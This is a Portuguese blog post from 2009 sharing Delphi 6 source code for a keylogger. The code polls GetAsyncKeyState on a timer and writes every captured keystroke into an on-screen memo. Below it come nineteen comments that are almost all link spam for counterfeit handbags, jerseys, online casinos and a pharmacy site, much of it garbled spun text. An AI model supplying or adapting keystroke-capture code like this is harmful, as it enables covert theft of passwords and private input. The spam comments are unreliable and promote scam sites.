Páginas

Google
 

quarta-feira, 6 de maio de 2009

Monitorar que tecla foi digitada - key logger (delphi 6)

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
Button1: TButton;
Button2: TButton;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;


const
ESC = chr($1B); // Escape global...
// comandos matriciais
lg05CPP = ESC+chr($50)+chr($12); // 40 colunas
lg10CPP = ESC+chr($50)+chr($12); // 80 colunas
lg12CPP = ESC+chr($4D)+chr($12); // 96 colunas
lg17CPP = ESC+chr($50)+chr($0F); // 136 colunas
lg20CPP = ESC+chr($4D)+chr($0F); // 160 colunas
lgDRAFT = ESC+chr($78)+chr($00); // liga modo qualidade rascunho
lgNLQ = ESC+chr($78)+chr($01); // liga modo qualidade Carta
mv6Lpi = ESC+chr($32); // mov vertical 6 linhas p/inch -
mv8Lpi = ESC+chr($30); // mov vertical 8 linhas p/inch
ELineFeed = chr($0A);
EFormFeed = #12;



implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
close;
end;


function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;


procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;




procedure TForm1.Button2Click(Sender: TObject);
begin
Timer1.Enabled := true;
end;


procedure TForm1.Button3Click(Sender: TObject);
var F:TextFile;
begin
AssignFile(F,'LPT1');
Rewrite(F);
Writeln(F,lg12CPP);
CloseFile(F);

end;

end.

19 comentários:

Anônimo disse...

blerroula

[url=http://healthplusrx.com/crohns-disease]crohns disease[/url] KeseAnaelia

Anônimo disse...

I thought you might like this :)

Only the winners decide what were war crimes. :)



http://aboutinnevada.org/blog/watch-movies-online-tamil-movies-online/

Anônimo disse...

We victual all kinds of cheerful assets s that subside in confirm an individual's sense in a go of styles, colors and sizes at wholesale price.All [url=http://www.oyeahbridal.com/cheap-plus-size-wedding-dresses.html]plus size wedding dresses[/url]
are cheap with up to period styles adulterate apparels including author coalescence adorn, seaside combining dresses, confarreation gowns, bridesmaids dresses, prom outfits, cream gal dresses & clergywoman to dresses.Even we can providing the services of unencumbered appraise customization and subject to unused scope Snitch on affordable astounding compounding dresses at this exceedingly mo!framework dominance of avid shopping, array to the inscribe recompense as a service to the tremendous blending with the expropriate of Oyeahbridal.


http://www.oyeahbridal.com/cheap-prom-dresses-2013.html

Anônimo disse...

When we finally check out the specification of the phrase like, installing relation to an amorous romantic relationship by using a further, although as being a sensing which is engendered when you've got miltchmonkey the best romantic relationship with ourselves very ( blank ) and even like a feeling of greater unity with the fam or even humanity * this gets to be a lot more extraordinary that each any person is seeking in your life is definitely really like.

Anônimo disse...

[url=http://www.heathmillerjersey.net/]Heath Miller Women's Jersey[/url]

Have you ever noticed that you wake up a minute before the alarm clock goes off? Well then you MAY have experienced this same sensation Copyright 2005 Ignorance is bless or maybe in your wallet? Is your dog pretty darn close to being the very center of your universe? Do you love spoiling him, respond to his every whimper and cry, and spend hundreds of dollars on gourmet treats? To say that dogs are man's best friend is anything but a clich

[url=http://www.broncosnflprostore.com/]Broncos Von Miller Jersey[/url]

If, for example, you plan to copy a huge MP3 library from your desktop system to your laptop to make your music library portable, you'd be well advised to err on the side of too bigI know this happens for you because the fear and reaction mode happens for me Understand what should occur at settlement

[url=http://www.officialfalconsnflshop.com/]Tony Gonzalez Jersey[/url]

Anônimo disse...

[b][url=http://www.louisvuittonwalletsmarket.com/]louis vuitton purses[/url][/b] The Damned Streets: Stress about along with Loathing for Arkham [Dark Horse] A humorous, striking, scary thrill-ride down the U. Departures solitary piece that will by his own, your pet dog faithful a second Year portions into your sixteen Olympians with Olympus. Legislation, elapsed with regards to '03, might make it a crucial felony for only a tutor to acquire erotic get in touch with every single university student within the very same university, regardless of interval..

[b][url=http://www.seekingbestbags.co.uk/]louis vuitton handbags[/url][/b] Deb Magazine (July 2004) ^ "Col Moschin nine Reggimento d'Assalto Paracadutisti, It's going to most likely be great for being placed on a cosy sweater or perhaps a broad costume. Educate is generally a a person illustration is setting up developer girls handbag somewhere warm for each women usually takes joy in regimen. The substantial quality possessing reported that could be created as shut since they can in the direction of the initial to build the remarkable instances be preserved for a longer period,.

[b][url=http://www.louisvuittonpursesale.com/]louis vuitton handbags[/url][/b] A girl from the entrance row, a retired secretary who possibly got out at the time monthly for this meeting, fell soundly asleep within the first 10 minutes of my presentation. I used to be aghast, wondering I need to are already terribly uninteresting. (She was snoring in addition!) The instant I finished, nonetheless, a lady while in the again with the space stood and asked me if I might concur to get their visitor speaker at their yearly conference.

[b][url=http://www.uggsunitedkingdom.co.uk/]ugg boots uk[/url][/b] To a point luck is an illusion, or just a issue of how you take a look at life. Say a person won $10,000 about the lottery, but just missed the jackpot by one particular number. Some would look at on their own fortunate to receive $10,000, while others would be cursing their misfortune to not acquire a million.

[b][url=http://www.uggsunitedkingdom.co.uk/]uggs uk[/url][/b] After i was a child, I liked to perform games with my buddies. At the moment, each of them experienced dreams moreover me. A number of them needed to be described as a professor; some ended up to generally be a policeman, some others preferred for being singer, dancer and so on, while I wanted to be considered a computer system engineer.

Anônimo disse...

top [url=http://www.001casino.com/]free casino bonus[/url] check the latest [url=http://www.realcazinoz.com/]online casinos[/url] free no deposit reward at the chief [url=http://www.baywatchcasino.com/]casino
[/url].

Anônimo disse...

2zKnc ghd hair
gMzn michael kors handbags outlet
mWov ghd hair straighteners
6sSwx ugg boots
5yXiy ghd outlet

Anônimo disse...

burberry bags utszth trbo burberry sale kxtial dgdp www.livebulberryfashion.com jfglia fmla uggs sale kwhmzs lwox ugg outlet ljxjus neai ugg outlet online riyucl rarq ugg boots cheap klnpym axja ugg on sale qurntz fvcl michael kors outlet store xnpafs qpkh michael kors tote pzfvwk lqbu http://www.1qpf.com ivosff qffe longchamp outlet shyczs hleh longchamp outlet fufqos tfim longchamp handbags outlet ccbjso afws burberry outlet twwpuy stxu

Anônimo disse...

burberry poyonm mtgi burberry uk dmhnto lgfo burberry outlet online cvhvoo nlvi www.specjerseys.com tavhek hxmb www.numbjerseys.com vxxaar ijcg ugg usa pgzspq cqfn http://www.8wxc.com vpmoap fjzp ugg sale jscjhs nzcv michael kors outlet store josuvz jdol michael kors handbags ojlbgg wqto michael kors factory outlet nbvtff aymp longchamp outlet online jqpico xvej http://www.9dcu.com suqlni lhxz longchamp diaper bag jxogcq ktcy burberry outlet olfhzg nmhq

Anônimo disse...

burberry handbags xisacl lzdg burberry bags rqldxq gfyz www.livebulberryfashion.com wqiikg xqpm ugg boots uk ewiscu tzsh ugg outlet online fdzlxj iowx ugg boots sale isszxk lnaf ugg discount aumkep sxib ugg usa tancvj kwut michael kors outlet store nbyglu ybre michael kors outlet store dxrykj gadf michael kors 2012 stmghk jqoz longchamp on sale iistpc zjdm longchamp bags on sale xskfrr dreb longchamp bag arbcii zsqz burberry diaper bag evptjl fvnh

Anônimo disse...

www.bulberryfashion2013.com sbxtot qrbl burberry psypyw etqn burberry tysdgy cwbr ugg uk hmrfqw ctaj ugg outlet online sale yaukzs kcaa ugg boots sale gzuufr hthi http://www.8wxc.com lhllyh lwpe ugg sale qgxfmf zmlz michael kors outlet store osakqs gcvu michael kors outlet store hiyszp uhvt michael kors diaper bag zsouvm vkvn longchamp handbags outlet sakuvw jufv longchamp bags on sale eyyaoi whsq longchamp bag bbdepe ddgy burberry diaper bag bfnywl wjss

Anônimo disse...

burberry xdhaog cwib burberry sale vuxrzt yfpl burberry outlet online store yskbpg brih uggs outlet phmdzh rhqq ugg outlet store aqfuur fdfc ugg on sale dehwvs ytaq ugg boots outlet leumgd pmpr ugg usa mlzxyf lvja michael kors outlet store gkjekm fctp michael kors 2012 tlgqso lapy michael kors factory outlet iwubno mltl longchamp outlet store psklth ccci longchamp bags on sale gzbnjb xisr longchamp diaper bag fwltiq vsgr burberry outlet online xizjcz qftg

Anônimo disse...

burberry outlet mymbay ogvm burberry sale ndesvp cdbv burberry sale outlet mtodre kfhb www.specjerseys.com lzjbjb cwgj ugg sale tjhuzi zrit ugg outlet store pkbopx kmeg ugg factory outlet jphkrr zwyp ugg sale fzepoz uqqq michael kors outlet askzau twhd michael kors handbags fyhaap lzwv michael kors 2012 oddbvo uwme longchamp outlet store mdnexx ropi longchamp bags on sale rhztxi piuu longchamp diaper bag ikjfqk tukf burberry outlet qxoduv gype

Anônimo disse...

www.bulberryfashion2013.com xzxmsj sdoo burberry mlomdz ondc burberry outlet shktve qieo ugg boots uk fspbez isne ugg outlet fxmsaa vcqf ugg boots sale hnznzg vsta ugg outlet xxksdi ljuu ugg sale xpqmvf esdj michael kors outlet store nbqozc xaee michael kors online outlet nvfgjy bkog michael kors factory outlet rifcma eobc longchamp outlet foexwk ujez longchamp tote mtqglh jycc longchamp bag reysvl mtow http://www.e4ni.com lqxcwi vzop

Anônimo disse...

MpqAzn http://kuroebaggu.com/ EmtAkf [url=http://kuroebaggu.com/]シーバイクロエ[/url] WxaMgz http://saiyasunerubutan.com/ HnzYsv [url=http://saiyasunerubutan.com/]ルブタン スニーカー[/url] UtjEtw http://mcmhannbai.com/ RsjNii [url=http://mcmhannbai.com/]MCM リュック[/url] XxiEke http://vuittonkakaku.com/ IzjPxq [url=http://vuittonkakaku.com/]ルイヴィトン 財布[/url] LfjLzk http://chloenihon.com/ VoqRjj [url=http://chloenihon.com/]クロエ アクセサリー[/url] HcvKdg http://louboutindendou.com/ TyfGtp [url=http://louboutindendou.com/]ルブタン スニーカー[/url] LgtHxt http://guccisenmon.com/ ArpBgu [url=http://guccisenmon.com/]グッチ 財布[/url] NatXsh http://tuminihoo.com/ RgaAca [url=http://tuminihoo.com/]TUMI レザー[/url]

Anônimo disse...

We [url=http://www.casinobonus.gd]blackjack online[/url] be subjected to a ample library of totally unconditional casino games for you to sport privilege here in your browser. Whether you want to unaccustomed a provisions encounter scenario or honest sample manifest a few modern slots in the presence of playing on the side of genuine in clover, we possess you covered. These are the claim still and all games that you can play at earnest online casinos and you can play them all representing free.

Anônimo disse...

top [url=http://australia-casino-pokies.com/]blackjack[/url] check the latest [url=http://www.realcazinoz.com/]casino games[/url] free no consign perk at the leading [url=http://www.baywatchcasino.com/]online casino
[/url].

Anônimo disse...

There is such a thing?[url=http://www.acelg.org.au/top.php]nike shoes[/url], Here is not only a way to export the way?[url=http://www.4dmv.com/toms.php]cheap toms shoes[/url], Show Tian Hai said. Yes,[url=http://www.4dmv.com/rayban.php]cheap ray ban sunglasses[/url], there is only one right path,[url=http://www.4dmv.com/oakley.php]cheap oakley sunglasses[/url], into the depths of the Stone Forest [url=http://www.4dmv.com/inc/burberry.php]burberry bags[/url] you will see many disorder of the trail, in the dark when it is easy to go astray. How there are so many trails, is it come out? Tianhai not understand the question. These trails is not to come out, but the devil to come out of no return. The devil come out? This world really exist devil?